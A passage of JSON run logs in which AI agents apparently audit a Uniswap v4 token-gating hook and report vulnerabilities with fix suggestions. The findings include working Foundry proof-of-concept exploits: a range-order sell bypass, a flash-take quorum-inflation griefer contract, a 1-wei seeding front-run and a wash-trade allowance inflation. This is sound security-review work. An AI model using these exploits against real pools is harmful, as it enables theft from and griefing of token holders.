hook holds exactly the sum of stakes, per-actor stake equals deposits minus withdrawals, the hook never accumulates ETH or tokens, manager balances move only through swaps and parking, supply is conserved, nothing is ever sold on day 0 or above half of the previous day's buys, nothing is sold on a day whose prior vote did not pass per independent tallies, records match the ghost books, and window state agrees with the tallies. A scripted smoke test proves every handler path is reachable, and a seed probe confirmed random runs reach in-window sells.\n\n**Verification**\n\n| Check | Result |\n| --- | --- |\n| `forge test --offline` (excluding scratch) | 90 passed, 0 failed |\n| Invariants | 128 runs × 60 calls, 0 unexpected reverts |\n| `forge build --offline`, `forge fmt --check`, deploy rehearsal | clean |\n\n**Reported, not asserted** (`.imd-findings.json`, three entries, two with runnable proofs that fail on the current code):\n\n- **Medium**: a SURF holder sells for ETH with sells closed by adding a SURF-only liquidity range below the price, letting buyers fill it, and removing the position. The README acknowledges LPs are ungated, but nothing enforces that only the factory provides liquidity, so the \"buys only\" rule and the 50% cap do not bind.\n- **Low**: `hasVoted(voter, day)` only remembers the most recent vote day, so it returns false for earlier days the voter did vote on.\n- **Info**: the quorum is 5% of everything outside the manager, so the launch's unsold allocation determines whether buyers can ever reach it. No code change is needed; the operator should check it against the planned distribution.","treeHash":"a4bfe8615ea7f4b8ca673b2a10cc48db57ce41f7","usage":{"cachedInputTokens":5956132,"inputTokens":1028,"model":"claude-fable-5-1","outputTokens":87713,"runtime":"claude","turns":61,"wallClockMs":2420495}},{"artifacts":[],"attempt":1,"bundleHash":"bae2a03c4f7af1999ed0dd8a44c6a15760dc8b0815b63863d1780b9ade3da481","device":"3c7630b22a73c1fb","findings":[{"description":"beforeAddLiquidity accepts any position while the transient INITIALIZING_SLOT is set, and beforeInitialize sets it for the rest of the transaction, not for the factory's seed only. The flag is never cleared when the seed is done. Any contract that gains execution after the seed but inside the same transaction (an ETH payout to a treasury or recipient contract, a token with transfer callbacks, a registry or callback the factory notifies) can therefore add a SURF-only position just below the price through its own router. Such a position is a resting sell order: the next buy fills it and the stranger removes it holding ETH on day 0, with no vote, no window and nothing recorded in records[0].sold. This is the same exit the earlier high finding (REVIEW.md item 7) closed for ordinary transactions, reopened for whoever the launch transaction happens to call. The README states that any router may seed during the initialization transaction, but the launch factory's post-seed calls are not something the hook can see, so the exposure depends on factory behaviour the hook does not control. A fix is to scope the exception: clear the transient flag once the seed is complete (for example when the manager's lock closes, by reading Lock.IS_UNLOCKED_SLOT: accept only while the manager is unlocked by the same unlock in which the pool was initialized or the factory's seed runs), or accept positions during the initialization transaction only while seeded is false and require the whole seed to be one unlock.","line":247,"path":"src/BuyGateHook.sol","reproduction":"Fresh PoolManager, SurfToken and BuyGateHook at a 0x28C0 address. A factory contract calls initialize, seeds 10,000 SURF-only liquidity in [-887220, -60] in one unlock, then sends a 1 ETH tip to a treasury contract, all in one transaction. The treasury's receive() calls its own PoolModifyLiquidityTest with ModifyLiquidityParams(-60, 0, 333000e18, 0). Expected: the add reverts LiquidityNotFromLaunch, the pool holds the seed only. Actual: the add is accepted (seeded is true but the transient flag is still set), getPositionInfo for the treasury's router at (-60, 0, 0) shows 333000e18 liquidity. A buyer then swaps 1,200 ETH for SURF with sells closed (day 0), the treasury removes its position and its ETH balance rises by 1003.46 ETH while records(0).sold stays 0.","severity":"medium","title":"The liquidity gate's initialization-transaction exception is transaction-wide, so any contract that runs later in the launch transaction can add a resting sell position"},{"description":"When the pool is initialized in one transaction and seeded in a later one (a position manager's initializePool followed by modifyLiquidities, or any factory that does not do both in one call), the first position is accepted from whoever sends it (seeded is false) and every later position is refused for everyone, the launch included. A stranger watching the mempool adds 1 wei of liquidity between the two transactions; the launch's seed then reverts LiquidityNotFromLaunch and there is no path to add liquidity afterwards, so the pool is permanently unseedable and the launch must redeploy the hook and the pool. The README documents this and instructs the launch to seed in the initialization transaction, which avoids it; it is reported so the launch's deployer sees it as a hard requirement rather than a preference, and because the one-position exception admits a stranger's position as the launch's seed with no way to tell the two apart. A fix that keeps the exception is to accept the first position only from the transaction that initialized the pool (drop the separate 'first position' case), which makes seeding in the initialization transaction the only path and removes the race entirely.","line":248,"path":"src/BuyGateHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {StateLibrary} from \"v4-core/src/libraries/StateLibrary.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {PoolIdLibrary} from \"v4-core/src/types/PoolId.sol\";\nimport {Currency, CurrencyLibrary} from \"v4-core/src/types/Currency.sol\";\nimport {ModifyLiquidityParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {PoolModifyLiquidityTest} from \"v4-core/src/test/PoolModifyLiquidityTest.sol\";\n\nimport {SurfToken} from \"src/SurfToken.sol\";\nimport {BuyGateHook} from \"src/BuyGateHook.sol\";\nimport {HookFlags} from \"src/HookFlags.sol\";\n\n/// @notice When the launch seeds in a transaction after `initialize` (as a position manager's\n/// `initializePool` followed by a separate `modifyLiquidities` does), the first position is accepted\n/// from anyone and every later add is refused. A stranger's 1-wei position therefore makes the launch's\n/// own seed impossible, and the pool can never be seeded. Expected: the launch's seed is accepted.\n/// Actual: it reverts `LiquidityNotFromLaunch` and the pool stays at 1 wei of liquidity.\ncontract Proof_LaterSeedCanBeFrontRun is Test {\n    using StateLibrary for IPoolManager;\n    using PoolIdLibrary for PoolKey;\n\n    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;\n    int24 constant MIN_TICK = -887_220;\n\n    PoolManager manager;\n    SurfToken token;\n    BuyGateHook hook;\n    PoolKey key;\n    PoolModifyLiquidityTest launchRouter;\n    PoolModifyLiquidityTest strangerRouter;\n    address stranger = makeAddr(\"stranger\");\n\n    receive() external payable {}\n\n    function setUp() public {\n        vm.warp(1_800_000_000);\n        manager = new PoolManager(address(this));\n        token = new SurfToken();\n        uint160 flags =\n            HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_ADD_LIQUIDITY | HookFlags.BEFORE_SWAP | HookFlags.AFTER_SWAP;\n        bytes32 initCodeHash =\n            keccak256(abi.encodePacked(type(BuyGateHook).creationCode, abi.encode(IPoolManager(address(manager)))));\n        (bytes32 salt,) = HookFlags.mineSalt(address(this), flags, initCodeHash, 500_000);\n        hook = new BuyGateHook{salt: salt}(IPoolManager(address(manager)));\n        key = PoolKey({\n            currency0: CurrencyLibrary.ADDRESS_ZERO,\n            currency1: Currency.wrap(address(token)),\n            fee: 3_000,\n            tickSpacing: 60,\n            hooks: IHooks(address(hook))\n        });\n        launchRouter = new PoolModifyLiquidityTest(IPoolManager(address(manager)));\n        strangerRouter = new PoolModifyLiquidityTest(IPoolManager(address(manager)));\n        token.approve(address(launchRouter), type(uint256).max);\n        token.transfer(stranger, 1 ether);\n        vm.prank(stranger);\n        token.approve(address(strangerRouter), type(uint256).max);\n    }\n\n    function test_launchCanStillSeedAfterAStrangerAddsDustToTheInitializedPool() public {\n        // Transaction 1: the launch initializes the pool.\n        manager.initialize(key, SQRT_PRICE_1_1);\n        assertFalse(hook.seeded());\n\n        // Transaction 2: a stranger front-runs the seed with the smallest possible position.\n        vm.prank(stranger);\n        strangerRouter.modifyLiquidity(key, ModifyLiquidityParams(MIN_TICK, -60, 1, bytes32(0)), \"\");\n        assertTrue(hook.seeded(), \"the stranger's dust became the seed\");\n\n        // Transaction 3: the launch's real seed. Expected to be accepted; actually refused.\n        (bool ok,) = address(launchRouter)\n            .call(\n                abi.encodeWithSignature(\n                    \"modifyLiquidity((address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\n                    key,\n                    ModifyLiquidityParams(MIN_TICK, -60, 10_000 ether, bytes32(0)),\n                    \"\"\n                )\n            );\n        assertTrue(ok, \"the launch cannot seed its own pool after a 1-wei front-run\");\n        (uint128 launchLiquidity,,) =\n            IPoolManager(address(manager)).getPositionInfo(key.toId(), address(launchRouter), MIN_TICK, -60, bytes32(0));\n        assertEq(launchLiquidity, 10_000 ether, \"the launch holds no position\");\n    }\n}","reproduction":"Fresh PoolManager, SurfToken and BuyGateHook at a 0x28C0 address. Transaction 1: the launch calls initialize(key, 1:1). Transaction 2: a stranger adds ModifyLiquidityParams(-887220, -60, 1, 0) through a PoolModifyLiquidityTest; it is accepted and seeded() becomes true. Transaction 3: the launch adds ModifyLiquidityParams(-887220, -60, 10000e18, 0) through its own router. Expected: accepted. Actual: reverts with WrappedError(hook, beforeAddLiquidity, LiquidityNotFromLaunch(launchRouter), HookCallFailed); the launch holds no position and the pool's only liquidity is the stranger's 1 wei.","severity":"low","title":"A seed placed in a transaction after initialize can be front-run with 1 wei of liquidity, after which the launch can never seed the pool"}],"hash":"9d85850c02633cbe09808dd776c2f7396107e40b614083e1df2b75f7d4a7a223","nodeId":"721f3c5e-0d51-47c2-9ea3-263fac57a2f1","outcome":"completed","summary":"The harness itself excludes the findings file from git, so it is collected from the working tree as intended. The work is complete.\n\n**Outcome.** The suite passes on the revised hook with 108 tests, and two defects in the new liquidity gate are reported in `.imd-findings.json` with runnable proofs rather than asserted as correct.\n\n**What this revision changed** (only my two files were touched):\n\n- **`test/BuyGateHookInvariant.t.sol`.** The launch now initializes and seeds through a shared router that the actors can also drive, so the hook's recorded initializer is a contract strangers use. A new handler action adds liquidity through that router, half the time aimed at the launch's exact position key, and asserts every attempt is refused. The liquidity invariant now also checks the seed position under that router never grows. The action ran 518 times across 128 runs with no miss.\n- **`test/BuyGateHookEdge.t.sol`.** One new test covers the stranger and the launch itself topping up the seed position through the initializing router after the seed. Two comments that still described the old \"only the initializer may add\" rule were corrected.\n\n**Findings reported** (both verified to fail on the current code in `test/scratch/`):\n\n- **Medium.** The initialization-transaction exception is transaction-wide. Any contract the launch transaction calls after seeding, such as an ETH payout recipient, can add a resting sell position and exit to ETH on day 0. The proof shows a treasury contract gaining about 1,003 ETH with sells closed and nothing recorded as sold.\n- **Low.** A seed placed in a later transaction than `initialize` can be front-run with 1 wei of liquidity, after which nobody, the launch included, can ever seed the pool. The README documents this as a deployment rule, so it is reported as a hard requirement with a suggested fix.\n\nFormatting is clean on both files, and no configuration, library, or source file was modified.","treeHash":"08b8c8c3f3ae669bd06842a5be770a5c6fb10470","usage":{"cachedInputTokens":1529317,"inputTokens":386,"model":"claude-fable-5-1","outputTokens":33363,"runtime":"claude","turns":41,"wallClockMs":397064}},{"artifacts":[],"attempt":3,"bundleHash":null,"device":"2a5d68f89de314cb","findings":[{"citation":"resolved","description":"The hook gates only swaps. Neither beforeAddLiquidity nor beforeRemoveLiquidity is enabled, so PoolManager.modifyLiquidity on the governed pool is open to anyone. A SURF holder mints a position entirely below the current price (ticks [-120,-60] at tick 0): such a position is funded with SURF only. Every buy is allowed by beforeSwap, and buys move the price down (zeroForOne), through the position, converting its SURF into ETH at the position's price. The holder then burns the position and receives ETH only. The hook never sees a sell: no SellsClosed check, no vote, no window, no SellAllowanceExceeded, no limit on size. Economically this is a resting limit sell order, i.e. exactly the sale the brief forbids ('can buys only'; 'if sells open, 50% of the previous day's buys can be sold'). README 'What the hook cannot do' says liquidity providers are not swappers and that 'the launch factory is the liquidity provider', but nothing in the code restricts who may add liquidity; the assumption is not enforced. Because every buyer's ETH flows first into whichever SURF-only tick sits closest below the price, the bypass also front-runs the launch liquidity for fills. Seam (Flow Gap, execution x first principles): each step (modifyLiquidity, swap, modifyLiquidity) is individually correct and the end state contradicts the protocol's stated purpose. Minimal fix that keeps the design: enable beforeAddLiquidity (and mine the address for the extra bit), record the `sender` passed to beforeInitialize as the launch LP, and refuse adds from any other sender; alternatively count the SURF side of positions minted while sells are closed as sells against the window allowance. With the fix the proof's tryAdd reverts and the test passes.","line":161,"path":"src/BuyGateHook.sol","reproduction":"State: pool initialized at 1:1 (tick 0) with full-range 10,000 ETH / 10,000 SURF; no vote has ever passed, hook.sellWindowOpen() == false. Holder H (not the factory) holds 1,000 SURF and 0 ETH. 1) H calls PoolModifyLiquidityTest.modifyLiquidity(key, {tickLower:-120, tickUpper:-60, liquidityDelta:300_000e18, salt:0}): the router pulls ~896 SURF (895.91e18) and 0 ETH from H. 2) Any buyer swaps zeroForOne exact-in 1,500 ETH: beforeSwap passes (buy), price moves to tick < -120. 3) hook.records(0).sold == 0 and hook.sellWindowOpen() == false still. 4) H calls modifyLiquidity with liquidityDelta -300_000e18: H receives 906.734 ETH and 0 SURF. Expected under the brief: H cannot convert SURF to ETH through this pool while sells are closed (or at most 50% of yesterday's buys inside a voted one-hour window). Actual: H exits ~896 SURF (895.91e18) for 906.7 ETH with sells closed, no vote, no cap, and the hook recorded nothing. Proof test: test/scratch/RangeOrderSellBypass.t.sol fails on this code with 'holder converted SURF to ETH through the pool with sells closed: 906734264616722036668 != 0' and passes once liquidity adds from non-launch senders are refused.","severity":"high","snippet":"            beforeAddLiquidity: false,\n            afterAddLiquidity: false,\n            beforeRemoveLiquidity: false,\n            afterRemoveLiquidity: false,","title":"Buys-only rule and the 50% sell cap are bypassed by any holder through a SURF-only range order: liquidity add/remove is ungated"},{"citation":"resolved","description":"The first vote of each day fixes record.quorum = 5% of circulatingSupply(), and circulatingSupply() (line 333) is token.totalSupply() - token.balanceOf(poolManager) read at call time. PoolManager.take(currency, to, amount) is callable by anyone while the manager is unlocked and acts as a free flash loan: it transfers the manager's whole SURF balance out and only requires the debt to be settled before unlock returns. A griefer holding 1 wei of stake runs, in one transaction at the start of every day: unlock -> take(SURF, self, balanceOf(manager)) -> hook.vote(false) -> sync, transfer back, settle. During vote() the manager's balance is 0, so the snapshot treats the entire supply as circulating: quorum = 5% of totalSupply instead of 5% of the supply outside the pool. In a launch-shaped pool holding ~90% of the supply that is a 10x inflation (50,000,000 SURF vs 5,134,790 SURF in the proof). Honest voters who hold 20% of everything outside the pool, four times the intended quorum, now fall short and votePassed(day) is false, so the next day's window never opens. One snapshot per day means honest voters cannot repair it; the griefer only has to win the first vote of the day, which a bot at dayStart does for gas. Repeating it daily permanently disables the only legitimate sell path. REVIEW.md item 1 considered snapshot timing but not that the balance it reads is manipulable mid-transaction. The opposite direction (lowering quorum) is not free: parking the attacker's own tokens in the manager helps 1:20 less than simply staking them, so only the griefing direction is economical. Fix options that keep the design: refuse vote() while the manager is unlocked (poolManager.exttload(Lock.IS_UNLOCKED_SLOT) != 0; the proof passes with this), or derive the pool's holdings from pool state (StateLibrary liquidity/reserves) rather than an ERC-20 balance that take() can move, or snapshot circulating supply lazily at the day boundary instead of at the first vote.","line":295,"path":"src/BuyGateHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {Hooks} from \"v4-core/src/libraries/Hooks.sol\";\nimport {IUnlockCallback} from \"v4-core/src/interfaces/callback/IUnlockCallback.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency, CurrencyLibrary} from \"v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"v4-core/src/types/BalanceDelta.sol\";\nimport {ModifyLiquidityParams} from \"v4-core/src/types/PoolOperation.sol\";\n\nimport {SurfToken} from \"src/SurfToken.sol\";\nimport {BuyGateHook} from \"src/BuyGateHook.sol\";\nimport {HookFlags} from \"src/HookFlags.sol\";\n\n/// @notice Griefer: flash-borrows the pool's whole SURF reserve from the PoolManager with `take`, casts the\n/// day's first vote while the manager's balance is zero, then returns the tokens. The quorum snapshot taken\n/// inside `vote` sees `totalSupply - 0` as circulating.\ncontract QuorumGriefer is IUnlockCallback {\n    IPoolManager immutable manager;\n    BuyGateHook immutable hook;\n    SurfToken immutable token;\n\n    constructor(IPoolManager _manager, BuyGateHook _hook, SurfToken _token) {\n        manager = _manager;\n        hook = _hook;\n        token = _token;\n    }\n\n    function stake(uint256 amount) external {\n        token.approve(address(hook), amount);\n        hook.deposit(amount);\n    }\n\n    function attack() external {\n        manager.unlock(\"\");\n    }\n\n    function unlockCallback(bytes calldata) external returns (bytes memory) {\n        require(msg.sender == address(manager));\n        Currency c = Currency.wrap(address(token));\n        uint256 reserve = token.balanceOf(address(manager));\n        manager.take(c, address(this), reserve); // free flash loan of the whole reserve\n        hook.vote(false); // first vote of the day: quorum snapshotted with manager balance == 0\n        manager.sync(c);\n        token.transfer(address(manager), reserve);\n        manager.settle();\n        return \"\";\n    }\n}\n\ncontract QuorumFlashInflationTest is Test, IUnlockCallback {\n    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;\n    uint256 constant START = 1_800_000_000;\n    int24 constant MIN_TICK = -887_220;\n\n    PoolManager manager;\n    SurfToken token;\n    BuyGateHook hook;\n    PoolKey key;\n\n    address honest = makeAddr(\"honest\");\n\n    receive() external payable {}\n\n    function setUp() public {\n        vm.warp(START);\n        manager = new PoolManager(address(this));\n        token = new SurfToken();\n\n        uint160 flags = declaredFlags();\n        bytes32 initCodeHash =\n            keccak256(abi.encodePacked(type(BuyGateHook).creationCode, abi.encode(IPoolManager(address(manager)))));\n        (bytes32 salt,) = HookFlags.mineSalt(address(this), flags, initCodeHash, 500_000);\n        hook = new BuyGateHook{salt: salt}(IPoolManager(address(manager)));\n\n        key = PoolKey({\n            currency0: CurrencyLibrary.ADDRESS_ZERO,\n            currency1: Currency.wrap(address(token)),\n            fee: 3_000,\n            tickSpacing: 60,\n            hooks: IHooks(address(hook))\n        });\n        manager.initialize(key, SQRT_PRICE_1_1);\n\n        // Launch-like seed, placed by the initializer itself: the bulk of the supply sits in the pool as\n        // token-only liquidity below the price.\n        manager.unlock(abi.encode(ModifyLiquidityParams(MIN_TICK, -60, 900_000_000 ether, bytes32(0))));\n        assertGt(token.balanceOf(address(manager)), 850_000_000 ether, \"pool holds most of the supply\");\n    }\n\n    /// @dev Seeds liquidity as the factory itself would: this contract is `sender` for the manager.\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        require(msg.sender == address(manager));\n        ModifyLiquidityParams memory p = abi.decode(data, (ModifyLiquidityParams));\n        (BalanceDelta delta,) = manager.modifyLiquidity(key, p, \"\");\n        uint256 owe0 = uint256(uint128(-delta.amount0()));\n        uint256 owe1 = uint256(uint128(-delta.amount1()));\n        if (owe0 > 0) manager.settle{value: owe0}();\n        manager.sync(key.currency1);\n        token.transfer(address(manager), owe1);\n        manager.settle();\n        return \"\";\n    }\n\n    /// @dev Reads the permission bits the compiled hook declares, so the salt is mined for whatever the\n    /// current implementation says (a fix may enable more callbacks).\n    function declaredFlags() internal returns (uint160 f) {\n        address probe = address(uint160(uint256(keccak256(\"BuyGateHook probe\"))));\n        vm.etch(probe, vm.getDeployedCode(\"BuyGateHook.sol:BuyGateHook\"));\n        Hooks.Permissions memory p = BuyGateHook(probe).getHookPermissions();\n        if (p.beforeInitialize) f |= HookFlags.BEFORE_INITIALIZE;\n        if (p.afterInitialize) f |= HookFlags.AFTER_INITIALIZE;\n        if (p.beforeAddLiquidity) f |= HookFlags.BEFORE_ADD_LIQUIDITY;\n        if (p.afterAddLiquidity) f |= HookFlags.AFTER_ADD_LIQUIDITY;\n        if (p.beforeRemoveLiquidity) f |= HookFlags.BEFORE_REMOVE_LIQUIDITY;\n        if (p.afterRemoveLiquidity) f |= HookFlags.AFTER_REMOVE_LIQUIDITY;\n        if (p.beforeSwap) f |= HookFlags.BEFORE_SWAP;\n        if (p.afterSwap) f |= HookFlags.AFTER_SWAP;\n        if (p.beforeDonate) f |= HookFlags.BEFORE_DONATE;\n        if (p.afterDonate) f |= HookFlags.AFTER_DONATE;\n        if (p.beforeSwapReturnDelta) f |= HookFlags.BEFORE_SWAP_RETURN_DELTA;\n        if (p.afterSwapReturnDelta) f |= HookFlags.AFTER_SWAP_RETURN_DELTA;\n        if (p.afterAddLiquidityReturnDelta) f |= HookFlags.AFTER_ADD_LIQUIDITY_RETURN_DELTA;\n        if (p.afterRemoveLiquidityReturnDelta) f |= HookFlags.AFTER_REMOVE_LIQUIDITY_RETURN_DELTA;\n    }\n\n    function test_firstVoteQuorumCannotBeInflatedByFlashTakingThePoolReserve() public {\n        // Honest voters hold 20% of what circulates outside the pool, well above the 5% quorum.\n        uint256 outside = token.totalSupply() - token.balanceOf(address(manager));\n        uint256 honestStake = outside / 5;\n        token.transfer(honest, honestStake);\n        vm.startPrank(honest);\n        token.approve(address(hook), honestStake);\n        hook.deposit(honestStake);\n        vm.stopPrank();\n\n        // The griefer needs only 1 wei of stake to be allowed to vote.\n        QuorumGriefer griefer = new QuorumGriefer(IPoolManager(address(manager)), hook, token);\n        token.transfer(address(griefer), 1);\n        griefer.stake(1);\n\n        uint256 honestQuorum = (token.totalSupply() - token.balanceOf(address(manager))) * hook.QUORUM_BPS() / hook.BPS();\n\n        // Day 0, first vote of the day comes from the griefer, inside an unlock with the reserve taken out.\n        try griefer.attack() {} catch {}\n\n        // The manager was made whole: nothing was stolen, the griefer paid only gas.\n        assertGt(token.balanceOf(address(manager)), 850_000_000 ether, \"reserve returned\");\n\n        vm.prank(honest);\n        hook.vote(true);\n\n        (uint256 yes, uint256 no, uint256 quorum,,,) = hook.records(0);\n        assertEq(yes, honestStake);\n        assertLe(no, 1);\n        // Expected: quorum is 5% of the supply held outside the pool. Actual on this code: 5% of the whole\n        // supply, because the snapshot ran while the pool's reserve had been flash-taken.\n        assertEq(quorum, honestQuorum, \"quorum snapshot was inflated by a flash take of the pool reserve\");\n        assertTrue(hook.votePassed(0), \"a 20% turnout voting yes must open tomorrow's window\");\n    }\n}","reproduction":"State: pool initialized; initializer seeded SURF-only liquidity [MIN_TICK,-60] with liquidityDelta 900_000_000e18, so token.balanceOf(manager) ~= 897,300,000 SURF of a 1,000,000,000 supply; ~102,700,000 SURF outside the pool; honest voter H deposits 20,539,163 SURF (20% of outside supply); griefer contract G deposits 1 wei. Day 0, no votes yet. 1) G.attack(): manager.unlock(''); in unlockCallback: manager.take(SURF, G, 897.3M) ; hook.vote(false) ; manager.sync(SURF); SURF.transfer(manager, 897.3M); manager.settle(). The transaction succeeds; manager balance is unchanged afterwards. 2) H calls hook.vote(true). Expected: records(0).quorum == 5% of (totalSupply - balanceOf(manager)) == 5,134,790.97e18 and votePassed(0) == true (yes 20.5M > 5.13M). Actual: records(0).quorum == 50,000,000e18 (5% of the whole supply), votePassed(0) == false, and sellWindowOpen() stays false on day 1. Proof test: test/scratch/QuorumFlashInflation.t.sol fails on this code with 'quorum snapshot was inflated by a flash take of the pool reserve: 50000000000000000000000000 != 5134790973015985144641244' and passes when vote() refuses calls while the manager is unlocked.","severity":"medium","snippet":"            uint256 circulating = circulatingSupply();\n            uint256 quorum = circulating * QUORUM_BPS / BPS;","title":"vote() snapshots quorum from the PoolManager's live SURF balance, which a griefer can zero at no cost with a flash take inside unlock, inflating the day's quorum ~10x and blocking the sell vote"},{"citation":"resolved","description":"votePassed requires both yes > no and yes + no >= quorum. The brief's wording ('majority or quorum minimum') admits the reading that either condition suffices. README 'Interpretations and assumptions' records the AND reading deliberately, so this is an interpretation to confirm with the requester rather than a code defect; it is reported because it changes who can ever open sells: with most of the supply in the pool and the rest spread among holders who do not stake, 5% of circulating supply may be unreachable and the sell feature stays closed indefinitely. No fix is proposed beyond confirming the intended rule.","line":340,"path":"src/BuyGateHook.sol","reproduction":"State: day 0, buys happened, circulating supply ~1e27 minus pool balance; voter A deposits 1 SURF and calls vote(true); nobody votes no. records(0): yes = 1e18, no = 0, quorum = 5% of circulating (tens of millions of SURF). Expected under the literal 'majority or quorum' reading: unanimous yes is a majority, votePassed(0) == true. Actual: votePassed(0) == false (quorum not met), day 1 window closed; test_voteFailsBelowQuorum in test/BuyGateHook.t.sol encodes the AND behaviour.","severity":"info","snippet":"        return record.hasVotes && record.yes > record.no && record.yes + record.no >= record.quorum;","title":"Brief says a vote 'must hit majority or quorum minimum'; the code requires majority AND quorum, so a unanimous low-turnout vote never opens sells"}],"hash":"a081f557a93eb675cd5cf3b17c8550494a16c60c737cffbdfa59f7351d9b482d","nodeId":"6cbb8004-4e5a-4298-b189-9919cbce1087","outcome":"completed","summary":"Review complete. The findings are in `.imd-findings.json` at the repository root, with two Foundry proofs under `test/scratch/` that fail on the current code and pass under a candidate fix. No tracked file was changed (a temporary patch used to validate the proofs was restored with git, and the tree is clean).\n\n**Findings**\n\n1. **High: the buys-only rule and 50% cap are bypassed through a SURF-only range order.** Liquidity add and remove are ungated, so any holder can mint a position just below the price, let ordinary buys fill it, then burn it for ETH. The hook never sees a sell, no vote or window is needed, and there is no size limit. In the proof a holder parks 895.9 SURF, buyers trade 1,500 ETH, and the holder withdraws 906.7 ETH with sells closed and `records[0].sold` still zero. The README documents LP freedom as a limitation but relies on an unenforced assumption that only the factory adds liquidity. Suggested fix: enable `beforeAddLiquidity` and allow only the sender recorded at `beforeInitialize`.\n\n2. **Medium: the quorum snapshot in `vote` reads the PoolManager's live SURF balance, which a griefer can zero for free.** Inside an `unlock`, the attacker takes the pool's entire reserve, casts the day's first vote with 1 wei of stake, and returns the tokens. The snapshot then treats the whole supply as circulating. In the proof quorum rises from 5.13M to 50M SURF, so honest voters holding 20% of the outside supply fail to open the window. Repeated daily at gas cost only, this blocks every sell window. Suggested fix: refuse `vote` while the manager is unlocked, or derive the pool's holdings from pool state rather than an ERC-20 balance.\n\n3. **Info: the brief says \"majority or quorum minimum\" and the code requires both.** This is a documented interpretation, reported for the requester to confirm since it determines whether a unanimous low-turnout vote can ever open sells.\n\n**Coverage**\n\nAll nine listed entry points have rows: `vote` is tied to finding 2, the other eight hold after tracing checks, state changes and failure paths. Six additional rows cover invariants I checked: the swap-path sell cap holds, wash trading cannot grow the allowance beyond the series, flash-loaned voting weight is impossible because of the withdrawal lock, the no-fee rule holds, and the liquidity-path and quorum invariants map to findings 1 and 2.\n\n**Not reached or outside evidence**\n\nWhether the 5% quorum is reachable for the real launch depends on the policy's supply split, which is not in this tree. I did not assess the launch manifest since no `launch.json` exists yet.","treeHash":null,"usage":{"cachedInputTokens":3572266,"inputTokens":802,"model":"claude-fable-5-1","outputTokens":65619,"runtime":"claude","turns":56,"wallClockMs":1057242}},{"artifacts":[],"attempt":1,"bundleHash":"38b7153c331be718f47d53d584840a9b616e274e554d2dc86e0cb7e60e442e87","device":"468e82a89b9bfe18","findings":[],"hash":"a3564cda6635ff6481db885fc04428dbc41ee2aff4babd617737388272cb5ade","nodeId":"c5149e3f-4474-4afe-b186-f644adbb0205","outcome":"completed","summary":"Updated `launch.json` so the manifest describes the revised hook. Only that file changed.\n\n**What changed in the contracts since the previous manifest.** The accepted revision removed the clause in beforeAddLiquidity that let the recorded initializer router add liquidity after the seed. A position is now accepted only in the transaction that initialized the pool or as the pool's first position ever, and nobody can add afterwards, the launch included. The old notes still described the initializer exception, so they were wrong.\n\n**What the manifest now says.** The structural fields are unchanged and still match the source:\n\n- Hook `BuyGateHook`, constructor `[\"$poolManager\"]`, permissions beforeInitialize, beforeAddLiquidity, beforeSwap, afterSwap, exactly what getHookPermissions returns.\n- Token `SurfToken`, name SurfSurf, symbol SURF, 18 decimals, no constructor arguments.\n- Pool paired with native ETH at the zero address, fee 3000, tick spacing 60, initial sqrtPriceX96 of 2^96.\n\nThe notes now state that the initializer is recorded for reference only, that the sender argument is never trusted, that every add after the seed reverts regardless of router, that the factory must seed the whole liquidity in the initialization transaction, and that removed liquidity cannot be put back. Notes length is 3316 characters, under the 4000 cap.\n\n**Checks run.** A local schema check of every field, pattern, enum and the key order passes. `forge build --offline`, `forge test --offline` with 57 tests passing, and `forge fmt --check` all pass. The git diff touches only launch.json.","treeHash":"09dae2922fca0a9a666a1be0ad6c6e105e14740d","usage":{"cachedInputTokens":510607,"inputTokens":194,"model":"claude-fable-5-1","outputTokens":6056,"runtime":"claude","turns":14,"wallClockMs":84111}},{"artifacts":[],"attempt":2,"bundleHash":null,"device":"2a5d68f89de314cb","findings":[{"citation":"resolved","description":"Boundary: afterSwap's buy branch. Assumption: the token amount a zeroForOne swap takes out of the pool is a genuine purchase, so half of a day's total is a safe bound on the next window's sells (the brief: '50% of the previous day's buys can be sold'). Actual: the pool manager hands the hook `delta.amount1()` for every swap regardless of whose liquidity filled it, and liquidity provision is ungated (beforeAddLiquidity is off). A SURF holder adds a dense SURF-only position one tick-spacing at or below the current tick, buys through it with ETH, and removes the position: the ETH comes back with the position, the SURF comes back to the holder, and `records[day].bought` grew by the whole wash amount. The only dead-weight cost is the launch liquidity's pro-rata share of the 0.3% fee and of the price impact, which the attacker makes arbitrarily small by concentrating liquidity. Repeating the cycle inside one day with the same tokens makes `bought` unbounded, so `sellAllowance(day+1) = bought/2` stops bounding anything. Combined with a passed vote (5% of circulating staked, yes > no; a whale can cast it alone), the whole launch-side ETH can be drained in the one-hour window. Numbers from the proof (10,000 ETH / 10,000 SURF full-range launch liquidity, one genuine 100 ETH buy): genuine buys = 98.7158 SURF; attacker with 2,000 SURF adds 400,000 liquidity units in one spacing (about 1,165 SURF), buys 1,200 ETH through it: `bought` becomes 1,263.5469 SURF; attacker's net position change is -49.83 ETH and +48.47 SURF, i.e. a real purchase of 48 SURF at about 1.03 ETH, not a loss; `sellAllowance(1)` = 631.7734 SURF against the intended 49.3579 SURF (12.8x). A sell of 98.7158 SURF (the entire genuine buy volume, twice the cap) then passes beforeSwap and afterSwap. Seam (numerical gap, boundary x invariant): the accumulator is fed from an input whose source is outside the invariant's domain. Fix options, both of which change agreed design and should be a scope decision: (a) enable and implement 